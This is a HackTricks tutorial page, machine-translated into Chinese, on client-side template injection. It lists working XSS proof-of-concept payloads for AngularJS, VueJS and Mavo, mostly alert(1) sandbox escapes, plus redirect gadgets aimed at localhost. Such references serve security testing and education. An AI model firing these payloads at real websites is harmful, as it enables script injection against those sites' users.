Client Side Template Injection (CSTI)
Reading time: 5 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Summary
它类似于 Server Side Template Injection,但在 client 中。SSTI 允许您在远程服务器上 execute code,而 CSTI 可能允许您在受害者的浏览器中 execute arbitrary JavaScript 代码。
Testing 这种漏洞与 SSTI 的情况非常 similar,解释器期望 a template 并将其执行。例如,使用像 {{ 7-7 }}
的有效载荷,如果应用程序 vulnerable,您将看到 0
,如果没有,您将看到原始内容:{{ 7-7 }}
AngularJS
AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属性与 HTML 交互,其中一个显著的指令是 ng-app
。该指令允许 AngularJS 处理 HTML 内容,从而在双大括号内执行 JavaScript 表达式。
在用户输入动态插入到标记为 ng-app
的 HTML 主体的场景中,可以执行任意 JavaScript 代码。这可以通过利用 AngularJS 的语法在输入中实现。以下是演示如何执行 JavaScript 代码的示例:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
您可以在 AngularJS 的 http://jsfiddle.net/2zs2yv7o/ 和 Burp Suite Academy 中找到一个非常 基本的在线示例。
[!CAUTION] > Angular 1.6 移除了沙箱,因此从这个版本开始,像
{{constructor.constructor('alert(1)')()}}
或<input ng-focus=$event.view.alert('XSS')>
的有效载荷应该可以工作。
VueJS
您可以在 https://vue-client-side-template-injection-example.azu.now.sh/ 找到一个 易受攻击的 Vue 实现。
有效载荷:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
易受攻击示例的 源代码 在这里:https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
在VUE中关于CSTI的一个非常好的帖子可以在 https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets 找到
V3
{{_openBlock.constructor('alert(1)')()}}
信用: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
信用: Mario Heiderich
查看更多 VUE 有效载荷在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
有效载荷:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
更多有效载荷在 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
暴力破解检测列表
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。